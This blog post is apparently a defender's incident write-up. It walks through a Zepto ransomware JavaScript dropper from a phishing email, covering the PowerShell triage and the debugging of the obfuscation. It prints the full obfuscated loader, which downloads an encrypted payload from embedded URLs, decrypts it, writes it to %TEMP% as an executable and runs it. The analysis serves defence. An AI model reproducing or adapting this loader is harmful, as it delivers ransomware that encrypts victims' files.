It’s another quiet Friday when we are alerted of bunch of files with the .zepto extension being created all over the place. It seems that a Zepto sample that worked its way through our network. AV was mostly useless and the ransomware managed to encrypt a few thousand files on a particular share.

First thing’s first, I need to find all the users actively encrypting files on this share.

Zepto creates a help file in all of the directories it attacks. They’re usually prefixed with a number, ie: \_45\_HELP_instructions.html.

It’s a pretty unique signature and looking at the owner property in the ACL I can find potentially infected users:

PS C:\> dir \\network\share\*_HELP_instructions.html -recurse | %{ (get-acl $_.fullname).owner | select -unique

OK, great. The next step was to grab a sample of this ransomware and figure out what the C2 servers are so we can block them. If it can’t get a key from C2, it won’t begin encrypting.

We managed to trace the attack vector to a javascript file zipped and attached to a phishing email.

Contents of business card 5a0fae48-.js:

wsh = WScript["CreateObject"]("WScript.Shell");
se = wsh["Environment"]("SYSTEM");
os = se("OS");
if (os != "Windows_NT") {
    WScript["Quit"](0);
};
this["WScript"]["Sleep"](1);

var aDSu3 = (1, 2, 3, ['\x77\x73\x68\x20\x3d', '\x20\x57\x53\x63\x72', '\x69\x70\x74\x5b\x22', '\x43\x72\x65\x61\x74', '\x65\x4f\x62\x6a\x65', '\x63\x74\x22\x5d\x28', '\x22\x57\x53\x63\x72', '\x69\x70\x74\x2e\x53', 
... // more hex
'\x4b\x6a\x29\x5d\x28', '\x29\x3b\x0d\x0a\x7d', '\x3b']);
eval(aDSu3.join(''));

The first couple of lines are self-explanatory. A simple check against the %OS% environment variable to see if it is a known operating system (Windows 2000 -> Windows 10) just before a whole bunch of hex encoded data.

If we replace the eval() at the end with a WScript.Echo() we can see the contents of aDSu3 and pipe them into a separate file for analysis:

C:\temp>cscript "business card 5a0fae48-.js" > zepto.js

…and what we get is this mess:

wsh = WScript["CreateObject"]("WScript.Shell");
se = wsh["Environment"]("SYSTEM");
os = se("OS");
if (os != "Windows_NT") {
    WScript["Quit"](0);
};
this["WScript"]["Sleep"](1);

var XQs = "close" + "";
var WFg = "File" + "";
var MTo = "To" + "";
var AXu7 = "Save" + "";
var NTs8 = "t" + "";
var DGz = "ex" + "";
var NSy = "eT" + "";
var BEs = "writ" + "";
var Hg0 = "n" + "";
var WQg = "ope" + "";
var Vv = "set" + "";
var VYl = "Char" + "";
var Wg3 = "e" + "";
var VMd = "typ" + "";
var Vf = "am" + "";
var VXy = "re" + "";
var HOi9 = "DB.St" + "";
var Bx3 = "O" + "";
var Bc = "D" + "";
var XJo5 = "A" + "";
var Ob = "t" + "";
var WWp = "bjec" + "";
var Cv1 = "eateO" + "";
var Fp = "Cr" + "";
var In4 = "in" + "";
var Lu = "jo" + "";

function LJy(Oz8) {
    return Oz8;
};
var XTw = "Code" + "";
var CJj4 = "mChar" + "";
var Wt3 = "fro" + "";
var JHm = "th" + "";
var XLk8 = "ng" + "";
var Hd5 = "le" + "";
var TUo = "sh" + "";
var NVi6 = "pu" + "";
var Dx5 = "t" + "";
var Hs = "eA" + "";
var Cv7 = "arCod" + "";
var DDy6 = "ch" + "";
var GUu = "h" + "";
var KPq4 = "lengt" + "";
var XQg1 = "e" + "";
var QLf = "clos" + "";

function UEs(APo0) {
    return APo0;
};
var Uo1 = "Text" + "";
var IId = "Read" + "";
var MIa = "le" + "";
var Be9 = "mFi" + "";
var GDx3 = "ro" + "";
var ZXj = "LoadF" + "";
var Fd9 = "n" + "";
var KWs = "ope" + "";
var ITb = "set" + "";
var Zn = "Char" + "";
var WXs9 = "type" + "";
var BUr = "am" + "";
var Zk0 = "Stre" + "";
var NCe3 = "DB." + "";
var Xb = "O" + "";
var Xu7 = "D" + "";
var UMq = "A" + "";
var Ek7 = "ject" + "";
var Yu1 = "ateOb" + "";
var YNx6 = "Cre" + "";
var Bg6 = "h" + "";
var QOe = "lengt" + "";
var CMh9 = "gth" + "";
var JLt = "len" + "";
var FUv4 = "ice" + "";
var LHp2 = "spl" + "";
var AYr6 = "gth" + "";
var ZZe = "len" + "";
var Ep = "h" + "";
var Ul = "ngt" + "";
var Yo3 = "le" + "";
var Sc1 = "h" + "";
var Pu2 = "ngt" + "";
var Mx4 = "le" + "";
var BRr1 = "th" + "";
var Fa = "leng" + "";
var WXz = "gth" + "";
var Wq = "len" + "";
var Xh4 = "eep" + "";
var CYa = "Sl" + "";
var GAb = " 323" + "";
var Va0 = "n" + "";
var DOo2 = "Ru" + "";
var KIy6 = "gth" + "";
var ARv = "len" + "";
var PDt = "th" + "";
var SYy8 = "ng" + "";
var Bg4 = "le" + "";

function Kj0(Zk) {
    return Zk;
};
var Kj = "e" + "";
var Mn = "clos" + "";

function MLx(JAu) {
    return JAu;
};

function Ds(PAj9) {
    return PAj9;
};
var GDa1 = "ile" + "";
var ANb8 = "veToF" + "";
var GKj = "Sa" + "";
var Rs = "n" + "";
var CNo5 = "io" + "";
var IPy = "posit" + "";

function Pv3(Cg0) {
    return Cg0;
};
var Qh = "Body" + "";
var JOg = "se" + "";
var Mj5 = "spon" + "";
var Co = "Re" + "";
var Qw = "e" + "";
var Ir = "writ" + "";
var Tp = "type" + "";
var Fq = "open" + "";
var Dj0 = "am" + "";
var Ym = "re" + "";
var PTq = ".St" + "";
var Kp9 = "DB" + "";

function WMi(DDv) {
    return DDv;
};

function LUt5(XSk) {
    return XSk;
};
var RVm = "O" + "";
var NWu9 = "D" + "";
var Lh = "A" + "";
var DQq = "t" + "";
var Dz = "bjec" + "";
var Gb7 = "eO" + "";
var DZx6 = "Creat" + "";

function Ny6(Lx2) {
    return Lx2;
};
var KSx = "p" + "";
var WZw = "ee" + "";
var AUt = "Sl" + "";
var AAd1 = "send" + "";
var Nz3 = "th" + "";
var Vx = "leng" + "";
var Np = "GET" + "";
var Oy1 = "open" + "";
var Fb8 = "gth" + "";
var Kk2 = "len" + "";
var LSq4 = "ct" + "";
var HAp = "eObje" + "";
var Gg = "at" + "";
var YPc = "Cre" + "";
var CBx5 = "h" + "";
var Pt = "lengt" + "";
var VJu = "5.1" + "";
var FXo = "uest." + "";
var DAn2 = "Req" + "";
var ABx = "nHttp" + "";
var DQo = ".Wi" + "";
var BFi = "ttp" + "";
var Nn0 = "WinH" + "";

function Rd(Lq1) {
    return Lq1;
};
var Kh = "P" + "";
var QYx4 = "LHTT" + "";
var YMa2 = "L2.XM" + "";
var Lm6 = "MSXM" + "";
var EDd = "/" + "";
var UXu0 = "9+" + "";
var VDv5 = "5678" + "";
var Eq1 = "34" + "";
var AId5 = "012" + "";
var DQe = "vwxyz" + "";
var Ao4 = "qrstu" + "";
var OMi0 = "op" + "";
var NLq = "mn" + "";
var XGx = "ijkl" + "";
var Xz = "efgh" + "";
var GRb = "abcd" + "";
var Vd8 = "XYZ" + "";
var TBb0 = "TUVW" + "";
var DFe5 = "PQRS" + "";
var Nq0 = "NO" + "";
var Sz9 = "JKLM" + "";
var Yu8 = "HI" + "";
var OJe1 = "EFG" + "";
var Mb = "ABCD" + "";
var Li0 = "xe" + "";
var Ty = ".e" + "";
var ZLu = "l" + "";
var IZr = "Jarn" + "";
var FAt8 = "MIHW" + "";
var Tm1 = "7eJ4X" + "";
var KTx = "/" + "";
var LPi2 = "P%" + "";
var Pm0 = "%TEM" + "";
var Sf1 = "l" + "";
var ESo8 = ".Shel" + "";
var LQg = "ript" + "";
var HGm1 = "WSc" + "";

function Ai(LWd) {
    return LWd;
};
var Mf = "ect" + "";
var XIa = "teObj" + "";
var Tp5 = "Crea" + "";
var Qq = "3tg" + "";
var Oi = "m/0a" + "";
var Tu = "co" + "";
var AUi = "inoz." + "";
var Tp7 = "dj" + "";
var Vg7 = "ol" + "";
var BUu7 = "g" + "";
var Je = "//" + "";
var Fs = "tp:" + "";
var Jc = "ht" + "";

function Xf0(Xm8) {
    return Xm8;
};
var ZDn = "5" + "";
var YDg7 = "0y" + "";
var VBg = "22" + "";

function XAg(Oz0) {
    return Oz0;
};
var REi3 = "048" + "";
var XTn = "om/" + "";
var Vx3 = ".c" + "";
var BJf = "h" + "";
var Cd = "ec" + "";
var IYq0 = "gasm" + "";

function Kc4(Nu) {
    return Nu;
};
var EDr2 = "cape" + "";
var Kp0 = "es" + "";
var WEf6 = "//" + "";
var Xz7 = ":" + "";
var AZc = "http" + "";
var GBr2 = "ij7" + "";
var Cn = "k" + "";
var FOl7 = "4y" + "";
var SJa = "2c" + "";
var Ai2 = ".in/" + "";
var PVu = "re" + "";
var Ur8 = "ot" + "";
var CKe = "lt" + "";

function DVq(Wk) {
    return Wk;
};
var Za2 = "ave" + "";
var Hj = "r" + "";
var Au = "/t" + "";
var IJk = ":/" + "";
var As = "p" + "";
var TAk = "htt" + "";
var EMo = "9lu" + "";
var LHl8 = "qvvu" + "";

function MWj(Vh) {
    return Vh;
};
var Gn4 = "s/1" + "";
var SLq = ".w" + "";
var OHi6 = "t" + "";
var Uo = "wer" + "";
var OKa6 = "te" + "";

function Tv(KFg2) {
    return KFg2;
};
var HRp = "ra" + "";
var PKu = "ne" + "";
var Rf = "ge" + "";
var Ne = "e" + "";
var Pz = "://r" + "";
var AGa6 = "tp" + "";
var Sm7 = "ht" + "";
var Lj = "7" + "";
var Rq = "43" + "";
var OIe = "ngth" + "";
var DFt2 = "le" + "";

function GRo(Zz) {
    return Zz;
};
var ZKx6 = "ff" + "";
var NGo5 = "ff" + "";

function Ho(Ra) {
    return Ra;
};

function Lx3(EFj7) {
    return EFj7;
};
var HJx = "fd" + "";
var HKx4 = "sdfas" + "";
var KWe1 = "asfa" + "";
var Zh4 = "th" + "";
var VVz = "ng" + "";
var ZOt = "le" + "";
var OSe3 = "f" + "";
var Ak = "fff" + "";
var UEq = "fff" + "";
var VFz1 = "fffff" + "";
var Gd = "fffff" + "";
var Md7 = "ff" + "";

function KHx(IOu) {
    return IOu;
};

function Av(Jh3) {
    return Jh3;
};

function VSq(IUy1) {
    return IUy1;
};

function Fr(RQo3) {
    return RQo3;
};

function UEi9(Wm7) {
    return Wm7;
};

function Ph(Yd) {
    return Yd;
};

function DFe(JNy) {
    return JNy;
};
var Zx5 = "th" + "";
var Gp = "leng" + "";
var JTz9 = "ff" + "";
var KQg = "2" + "";
var Iv = "313" + "";
var CEw = "112" + "";
var QAl8 = ((function Pi6() {
    return CEw;
}()) + Iv + KQg, (function EAt7() {
    return JTz9;
}()));
var WBe = QAl8[Gp + Zx5];
var OPr3 = ((function PAj0() {
    return Md7;
}()) + Gd + VFz1 + UEq + Ak + OSe3);
var Em = 587363;
var Uv = OPr3[KHx(Gp) + Zx5];
var Zm6 = (Ho(KWe1) + HKx4 + Lx3(HJx), GRo(NGo5) + (function Tq6() {
    return ZKx6;
}()));
var AJf = Zm6[(function Va() {
    return Gp;
}()) + Zx5];

var Io = 1;
var IDz0 = -8358 + 8360;
var Vu = 2;
var CJf2 = "437";

var Lj4 = [Sm7 + (function QPy() {
    return AGa6;
}()) + Pz + Ne + Rf + PKu + Tv(HRp) + OKa6 + Uo + OHi6 + MWj(SLq) + Gn4 + LHl8 + EMo, (function HRm5() {
    return TAk;
}()) + As + IJk + Au + Hj + DVq(Za2) + CKe + Ur8 + PVu + Ai2 + SJa + FOl7 + Cn + GBr2, AZc + Xz7 + WEf6 + Kp0 + Kc4(EDr2) + IYq0 + Cd + BJf + Vx3 + XTn + XAg(REi3) + VBg + Xf0(YDg7) + ZDn, AZc + Xz7 + Je + BUu7 + Vg7 + Tp7 + AUi + Tu + Oi + Qq];
var JEc3 = WScript[Tp5 + XIa + Mf](HGm1 + LQg + (function Vc9() {
    return ESo8;
}()) + Sf1);
var Vi5 = JEc3.ExpandEnvironmentStrings(Pm0 + LPi2 + KTx);
var El = Vi5 + Tm1 + (function CJx3() {
    return FAt8;
}()) + IZr + ZLu;
var Uw = El + Ty + Li0;

function uheprng(UFn4) {
    return (function() {
        var seed = UFn4;
        var o = 48,
            c = 1 * 1,
            p = o,
            s = new Array(o);
        var i, j;
        var base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
        var mash = Mash();
        for (i = 0; i < o; i++) s[i] = mash(seed);
        mash = null;
        var random = function(range) {
            return Math.floor(range * (rawprng() + (rawprng() * 0x200000 | 0) * 1.1102230246251565e-16));
        }

        function rawprng() {
            if (++p >= o) p = 0;
            var t = (1759680 + 9183) * s[p] + c * 2.3283064365386963e-10;
            return s[p] = t - (c = t | (-900 + 900));
        }
        return random;
    }());
};

function Mash() {
    var n = 0xefc8249d;
    var mash = function(data) {
        if (data) {
            data = data.toString();
            for (var i = 0; i < data.length; i++) {
                n += data.charCodeAt(i);
                var h = 0.02519603282416938 * n;
                n = h >>> 0;
                h -= n;
                h *= n;
                n = h >>> 0;
                h -= n;
                n += h * 0x100000000;
            }
            return (n >>> 0) * 2.3283064365386963e-10;
        } else n = 0xefc8249d;
    };
    return mash;
}

var Yz = [(function OQa() {
    return Lm6;
}()) + Rd(YMa2) + QYx4 + Kh, Nn0 + BFi + DQo + ABx + (function Cl1() {
    return DAn2;
}()) + FXo + VJu];

for (var IBx3 = 1 * 0; IBx3 < Yz[Gp + Zx5]; IBx3++) {
    try {
        var IGv7 = WScript[Tp5 + Ai(XIa) + Mf](Yz[IBx3]);
        break;
    } catch (e) {
        continue;
    }
};

var TIk = uheprng(Math.random().toString());
var Lp9 = 1;
do {
    var Gr = TIk(Lj4[(function Cg() {
        return Gp;
    }()) + Zx5]);
    try {
        if ((1 * 1) == Lp9) {
            IGv7[Oy1](Np, Lj4[Gr++ % Lj4[Gp + Zx5]], false);
            IGv7[AAd1]();
        }

        if (IGv7.readystate < 4) {
            WScript[AUt + WZw + KSx](-2450 + 2550);
            continue;
        }

        var ENa6 = WScript[Tp5 + XIa + Mf](Lh + NWu9 + WMi(RVm) + Kp9 + PTq + Ym + Dj0);
        ENa6[Oy1]();
        ENa6[Tp] = Io;
        ENa6[Ir + Qw](IGv7[Co + Pv3(Mj5) + JOg + (function Hm() {
            return Qh;
        }())]);
        ENa6[IPy + CNo5 + Rs] = 0;
        ENa6[MLx(GKj) + ANb8 + GDa1](El, Vu);
        ENa6[Mn + Kj]();

        var DAb4 = HIi(El);
        DAb4 = Kx1(DAb4);
        if (DAb4[Gp + Zx5] < 100 * 1024 || DAb4[Gp + Av(Zx5)] > 230 * 1024 || !XHw6(DAb4)) {
            Lp9 = 1;
            continue;
        }
        try {
            OMb(Uw, DAb4);
        } catch (e) {
            break;
        };

        JEc3[DOo2 + Va0](Uw + (function FLv2() {
            return GAb;
        }()));
        break;
    } catch (e) {
        WScript[Ny6(AUt) + (function Em1() {
            return WZw;
        }()) + (function MPr8() {
            return KSx;
        }())](1000);
        continue;
    };
} while (Lp9);

WScript.Quit(0);

function Kx1(Nq) {
    var Nf;

    var NQf6 = uheprng(Em);
    for (var IBx3 = 1 * 0; IBx3 < Nq[Gp + VSq(Zx5)]; IBx3++) {
        Nq[IBx3] ^= NQf6(256);
    }

    var XWe = Nq[Nq[Gp + Zx5] - 4] | Nq[Nq[Gp + Fr(Zx5)] - 3] << 8 | Nq[Nq[Gp + (function SGz() {
        return Zx5;
    }())] - 2] << 16 | Nq[Nq[Gp + UEi9(Zx5)] - 1] << 24;
    Nq[LHp2 + FUv4](DAb4[Ph(Gp) + (function XZh() {
        return Zx5;
    }())] - 4, 4);

    Nf = WBe;
    for (var IBx3 = 0; IBx3 < Nq[DFe(Gp) + Zx5]; IBx3++) {
        Nf = (Nf + Nq[IBx3]) % 0x100000000;
    };
    if (Nf != XWe) {
        return [];
    };

    return Nq;
};


function XHw6(Nq) {
    if (Nq[0] == 0x4D && Nq[1 * 1] == 0x5a) {
        return true;
    } else {
        return false;
    }
};


function HIi(GLq) {
    var Fm = WScript[Tp5 + XIa + Mf](Lh + (function SKa9() {
        return NWu9;
    }()) + RVm + Kp9 + PTq + (function Gb() {
        return Ym;
    }()) + Dj0);
    Fm[Tp] = IDz0;
    Fm[Zn + ITb] = CJf2 /* n  */ ;
    Fm[Oy1]();
    Fm[ZXj + GDx3 + Be9 + MIa](GLq);
    var Nt5 = Fm[IId + UEs(Uo1)];
    Fm[Mn + (function Si() {
        return Kj;
    }())]();
    return IGi2(Nt5);
};


function IGi2(SPz0) {
    var ELs = new Array();

    ELs[199] = 128;
    ELs[252] = 129;
    ELs[233] = 6 * 21 + 4;
    ELs[9357 - 9131] = 58 * 2 + 15;
    ELs[228] = 132;
    ELs[224] = 133;
    ELs[229] = 134;
    ELs[231] = 135;
    ELs[-9466 + 9700] = 136;
    ELs[235] = 4 * 34 + 1;
    ELs[232] = -9682 + 9820;
    ELs[239] = 41 * 3 + 16;
    ELs[-5635 + 5873] = 140;
    ELs[-7222 + 7458] = 141;
    ELs[196] = -5701 + 5843;
    ELs[-4015 + 4212] = 143;
    ELs[-3816 + 4017] = 144;
    ELs[-5883 + 6113] = 145;
    ELs[198] = 146;
    ELs[244] = -9110 + 9257;
    ELs[246] = 148;
    ELs[5779 - 5537] = 149;
    ELs[251] = 8372 - 8222;
    ELs[-2482 + 2731] = 151;
    ELs[255] = 152;
    ELs[214] = 153;
    ELs[5921 - 5701] = 154;
    ELs[162] = 6050 - 5895;
    ELs[163] = 45 * 3 + 21;
    ELs[165] = -3966 + 4123;
    ELs[8359] = 158;
    ELs[402] = 159;
    ELs[225] = 160;
    ELs[237] = 161;
    ELs[243] = 162;
    ELs[250] = 163;
    ELs[241] = 164;
    ELs[49 * 4 + 13] = 165;
    ELs[170] = 166;
    ELs[186] = 167;
    ELs[191] = 168;
    ELs[8976] = 4730 - 4561;
    ELs[172] = 170;
    ELs[189] = 171;
    ELs[188] = 76 * 2 + 20;
    ELs[161] = 173;
    ELs[171] = 174;
    ELs[187] = 175;
    ELs[9617] = 176;
    ELs[9618] = 177;
    ELs[9619] = 178;
    ELs[9474] = 179;
    ELs[9508] = 180;
    ELs[9569] = 181;
    ELs[9570] = 182;
    ELs[9558] = 183;
    ELs[9557] = 67 * 2 + 50;
    ELs[9571] = 185;
    ELs[11928 - 2375] = 186;
    ELs[9559] = 187;
    ELs[9565] = 188;
    ELs[4435 * 2 + 694] = 45 * 4 + 9;
    ELs[9563] = 190;
    ELs[9488] = 191;
    ELs[9492] = 192;
    ELs[4218 * 2 + 1088] = 193;
    ELs[9516] = 19 * 10 + 4;
    ELs[9500] = 195;
    ELs[9472] = 196;
    ELs[9532] = 21 * 9 + 8;
    ELs[-364 + 9930] = 198;
    ELs[9567] = 199;
    ELs[9562] = 200;
    ELs[9556] = -999 + 1200;
    ELs[9577] = 202;
    ELs[9574] = 203;
    ELs[9156 + 412] = 204;
    ELs[803 * 11 + 719] = 205;
    ELs[2247 * 4 + 592] = -2693 + 2899;
    ELs[9575] = 207;
    ELs[9576] = 208;
    ELs[9572] = 209;
    ELs[9573] = 210;
    ELs[9561] = 211;
    ELs[9560] = 212;
    ELs[9554] = -4349 + 4562;
    ELs[9555] = 1507 - 1293;
    ELs[9579] = 54 * 3 + 53;
    ELs[9578] = 216;
    ELs[9496] = 217;
    ELs[9484] = 8468 - 8250;
    ELs[9608] = 61 * 3 + 36;
    ELs[9604] = 220;
    ELs[6568 + 3044] = 221;
    ELs[17740 - 8124] = 222;
    ELs[7778 + 1822] = 223;
    ELs[945] = -6309 + 6533;
    ELs[223] = 4611 - 4386;
    ELs[915] = 226;
    ELs[960] = 4308 - 4081;
    ELs[931] = 228;
    ELs[963] = -2657 + 2886;
    ELs[181] = 230;
    ELs[45 * 21 + 19] = 231;
    ELs[934] = 232;
    ELs[920] = 233;
    ELs[937] = 234;
    ELs[948] = 235;
    ELs[8734] = 236;
    ELs[966] = 237;
    ELs[-3547 + 4496] = 238;
    ELs[8745] = 239;
    ELs[8801] = 25 * 9 + 15;
    ELs[177] = 241;
    ELs[8805] = 242;
    ELs[8804] = 243;
    ELs[3391 * 2 + 2210] = 244;
    ELs[8993] = 245;
    ELs[247] = 246;
    ELs[1603 * 5 + 761] = 247;
    ELs[176] = 248;
    ELs[8729] = 1441 - 1192;
    ELs[183] = 250;
    ELs[8730] = 9336 - 9085;
    ELs[8319] = 252;
    ELs[178] = 253;
    ELs[9632] = 254;
    ELs[160] = 255;

    var DAb4 = new Array();
    for (var IBx3 = 0; IBx3 < SPz0[Gp + Zx5]; IBx3++) {
        var MOk3 = SPz0[DDy6 + Cv7 + Hs + Dx5](IBx3);
        if (MOk3 < (34 * 3 + 26)) {
            var IVi2 = MOk3;
        } else {
            var IVi2 = ELs[MOk3];
        }
        DAb4[NVi6 + TUo](IVi2);
    };

    return DAb4;
};


function St(Nq) {
    var HFw3 = new Array();

    HFw3[-3955 + 4083] = 199;
    HFw3[6335 - 6206] = 252;
    HFw3[7192 - 7062] = 233;
    HFw3[33 * 3 + 32] = -4163 + 4389;
    HFw3[132] = 228;
    HFw3[133] = 224;
    HFw3[6082 - 5948] = 229;
    HFw3[5748 - 5613] = 231;
    HFw3[5888 - 5752] = 234;
    HFw3[65 * 2 + 7] = 28 * 8 + 11;
    HFw3[138] = -2035 + 2267;
    HFw3[34 * 4 + 3] = 8268 - 8029;
    HFw3[140] = 238;
    HFw3[141] = 236;
    HFw3[142] = 196;
    HFw3[8950 - 8807] = 197;
    HFw3[144] = 201;
    HFw3[145] = 230;
    HFw3[146] = 198;
    HFw3[147] = 244;
    HFw3[148] = 7229 - 6983;
    HFw3[149] = -2439 + 2681;
    HFw3[150] = 251;
    HFw3[8045 - 7894] = 249;
    HFw3[152] = -4938 + 5193;
    HFw3[153] = 214;
    HFw3[154] = -3269 + 3489;
    HFw3[155] = -3982 + 4144;
    HFw3[156] = 163;
    HFw3[157] = 165;
    HFw3[-2740 + 2898] = 8359;
    HFw3[159] = 402;
    HFw3[160] = 2228 - 2003;
    HFw3[67 * 2 + 27] = 237;
    HFw3[162] = 243;
    HFw3[163] = -7982 + 8232;
    HFw3[164] = 241;
    HFw3[165] = 8657 - 8448;
    HFw3[166] = 4272 - 4102;
    HFw3[167] = 186;
    HFw3[168] = -7694 + 7885;
    HFw3[169] = 8120 + 856;
    HFw3[-1832 + 2002] = 172;
    HFw3[5075 - 4904] = 189;
    HFw3[172] = 188;
    HFw3[173] = 161;
    HFw3[174] = 171;
    HFw3[175] = 187;
    HFw3[-8521 + 8697] = 9617;
    HFw3[32 * 5 + 17] = 9618;
    HFw3[178] = 812 * 11 + 687;
    HFw3[179] = 18252 - 8778;
    HFw3[180] = 1820 * 5 + 408;
    HFw3[9913 - 9732] = 9569;
    HFw3[182] = 9570;
    HFw3[183] = 9558;
    HFw3[-107 + 291] = 9557;
    HFw3[185] = 3208 * 2 + 3155;
    HFw3[186] = 9553;
    HFw3[187] = 9559;
    HFw3[188] = 9565;
    HFw3[189] = 3363 + 6201;
    HFw3[190] = 18276 - 8713;
    HFw3[8855 - 8664] = 27 * 351 + 11;
    HFw3[192] = 9492;
    HFw3[-2320 + 2513] = 9524;
    HFw3[1007 - 813] = 4041 + 5475;
    HFw3[8784 - 8589] = 9500;
    HFw3[196] = 9472;
    HFw3[197] = 9532;
    HFw3[198] = 9566;
    HFw3[199] = 9567;
    HFw3[200] = 9562;
    HFw3[4799 - 4598] = 9556;
    HFw3[-923 + 1125] = 9577;
    HFw3[203] = 9574;
    HFw3[204] = 9568;
    HFw3[205] = 9552;
    HFw3[206] = 2890 * 3 + 910;
    HFw3[207] = 14545 - 4970;
    HFw3[208] = 9576;
    HFw3[209] = 9572;
    HFw3[210] = 9573;
    HFw3[211] = 9561;
    HFw3[212] = 9560;
    HFw3[213] = 9554;
    HFw3[214] = 9555;
    HFw3[-3753 + 3968] = 9579;
    HFw3[-2431 + 2647] = 9578;
    HFw3[-444 + 661] = 9496;
    HFw3[218] = 11656 - 2172;
    HFw3[219] = 9608;
    HFw3[220] = 9604;
    HFw3[-6025 + 6246] = 9612;
    HFw3[222] = 9616;
    HFw3[223] = 9600;
    HFw3[224] = 3219 - 2274;
    HFw3[225] = 10029 - 9806;
    HFw3[-2242 + 2468] = 192 * 4 + 147;
    HFw3[-3997 + 4224] = -1720 + 2680;
    HFw3[61 * 3 + 45] = 931;
    HFw3[229] = 963;
    HFw3[-4668 + 4898] = 181;
    HFw3[231] = 964;
    HFw3[232] = 934;
    HFw3[10054 - 9821] = 920;
    HFw3[1108 - 874] = 937;
    HFw3[-1041 + 1276] = 948;
    HFw3[5983 - 5747] = -1091 + 9825;
    HFw3[112 * 2 + 13] = 966;
    HFw3[238] = 373 * 2 + 203;
    HFw3[239] = 8745;
    HFw3[240] = 8801;
    HFw3[241] = 177;
    HFw3[242] = 8805;
    HFw3[243] = 8804;
    HFw3[244] = 8992;
    HFw3[245] = 8993;
    HFw3[246] = 247;
    HFw3[247] = 8776;
    HFw3[114 * 2 + 20] = 176;
    HFw3[249] = 8729;
    HFw3[-1783 + 2033] = 183;
    HFw3[33 * 7 + 20] = 8730;
    HFw3[252] = 8319;
    HFw3[89 * 2 + 75] = 5190 - 5012;
    HFw3[254] = 9632;
    HFw3[255] = 160;

    var Ww = new Array();
    var Gn2 = "";
    var IVi2;
    var MOk3;
    for (var IBx3 = 0; IBx3 < Nq[Gp + Zx5]; IBx3++) {
        IVi2 = Nq[IBx3];
        if (IVi2 < 128) {
            MOk3 = IVi2;
        } else {
            MOk3 = HFw3[IVi2];
        }
        Ww.push(String[Wt3 + LJy(CJj4) + XTw](MOk3));
    }

    Gn2 = Ww[Lu + In4]("");

    return Gn2;
};

function OMb(GLq, Nq) {
    var Fm = WScript[Tp5 + XIa + (function BCt() {
        return Mf;
    }())]((function PAw1() {
        return Lh;
    }()) + NWu9 + LUt5(RVm) + Kp9 + PTq + Ym + Dj0);
    Fm[Tp] = IDz0;
    Fm[Zn + ITb] = CJf2 /* n  */ ;
    Fm[Oy1]();
    Fm[BEs + NSy + DGz + (function RFu8() {
        return NTs8;
    }())](St(Nq));
    Fm[GKj + ANb8 + Ds(GDa1)](GLq, 2);

    Fm[Mn + Kj0(Kj)]();
};

The best way to walk through this code is using Visual Studio:

C:\temp>cscript zepto.js //x

VS will set a breakpoint on the first line and wait for your input. The first big chunk of the code is initialization and obfuscation.

All over the place you’ll see functions that do this:

function Rd(Lq1) {  
    return Lq1;
};

They just return whatever value is passed in. Instead of writing

WScript["Sleep"](2000);

you can obfuscate by replace it with

var Xyz = "eep";
WScript["Sl" + Rd(Xyz)](-4000 + 6000);

A good example of this is the MSXML2.XMLHTTP object creation:

var Yz = [(function OQa() {
    return Lm6;
}()) + Rd(YMa2) + QYx4 + Kh, Nn0 + BFi + DQo + ABx + (function Cl1() {
    return DAn2;
}()) + FXo + VJu];

for (var IBx3 = 1 * 0; IBx3 < Yz[Gp + Zx5]; IBx3++) {
    try {
        var IGv7 = WScript[Tp5 + Ai(XIa) + Mf](Yz[IBx3]);
        break;
    } catch (e) {
        continue;
    }
};

The Yz var looks confusing but really it’s just a bunch of strings and anonymous functions returning strings glued together. If you substitute their values you end up with:

var Yz = [(function OQa() {
    return "MSXM";
}()) + Rd("L2.XM") + "LHTT" + "P", "WinH" + "ttp" + ".Wi" + "nHttp" + (function Cl1() {
    return "Req";
}()) + "uest." + "5.1"];

// and further simplified:
var Yz = ["MSXML2.XMLHTTP", "WinHttp.WinHttpRequest.5.1"];

You get the idea.

The for loop following Yz creates an object that will eventually download the next stage in the infection. Nothing special here.

What I’m more interested in is the do{}while(); loop just below that, so I’ll set a breakpoint in VS:

Stepping through the code I can see Lj4 being referenced in a GET request and iterated through with the do-while loop:

...
        if ((1 * 1) == Lp9) {
            IGv7[Oy1](Np, Lj4[Gr++ % Lj4[Gp + Zx5]], false); // IGv7["open"]("GET", "URLn", false); 
            IGv7[AAd1](); // IGv7["send"];
        }

        // if download failed, wait 100ms and try the next URL in Lj4[]
        if (IGv7.readystate < 4) { 
            WScript[AUt + WZw + KSx](-2450 + 2550); // WScript["Sleep"](100);
            continue;
        }
...

Adding the Lj4 array to the Watch list, I can view the contents:

Great, I’ll add these to the network block list.

Payload Decryption

The binary is downloaded and written to disk but it is encrypted. The script will store it in %TEMP% with a random file name and no extension (yet).

var Vi5 = JEc3.ExpandEnvironmentStrings(Pm0 + LPi2 + KTx); // expand '%TEMP%/'
var El = Vi5 + Tm1 + (function CJx3() {  
    return FAt8;
}()) + IZr + ZLu; // 7eJ4XMIHWJarnl
var Uw = El + Ty + Li0; // %TEMP%/7eJ4XMIHWJarnl.exe

Decryption begins with DAb4 set after the download completes inside the do-while above:

...
        var DAb4 = HIi(El);
        DAb4 = Kx1(DAb4);
...

Within HIi(), the contents of the encrypted file are read into the DAb4 variable using an ADODB.Stream object.

Must Go Deeper

Also inside HIi(), the first substitution function IGi2() is also called with the data read from disk.

IGi2() will iterate through every byte and if the char code is 128 or higher, it will replace it with a hardcoded value stored in a local variable ELs[]:

function IGi2(SPz0) {  
    var ELs = new Array();

    ELs[199] = 128;
    ... // a bunch more ELs[] data
    ELs[160] = 255;

    var DAb4 = new Array();
    for (var IBx3 = 0; IBx3 < SPz0[Gp + Zx5]; IBx3++) {
        var MOk3 = SPz0[DDy6 + Cv7 + Hs + Dx5](IBx3);
        if (MOk3 < (34 * 3 + 26)) { // if the charcode is 0-127 keep it
            var IVi2 = MOk3;
        } else {
            var IVi2 = ELs[MOk3]; // if charcode is 128+, replace with data from ELs[]
        }
        DAb4[NVi6 + TUo](IVi2); // push each byte 
    };

    return DAb4;
};

You can see the execution state after the first decryption stage:

SPz0 is the content of the data on disk. In its current state, it is not a valid PE file (notice the lack of MZ magic bytes). Finally the IGi2() local array DAb4 is returned and stored in another array with the same name but in the previous scope.

The next step is to pass the (still) encrypted contents of DAb4 to Kx1(), the main decryption routine.

After some XOR and bit shifting, the decrypted payload is returned and stored back into DAb4.

A few checks to see if decryption was successful are performed:

...
        // the binary expects to be between 100kb and 235kb
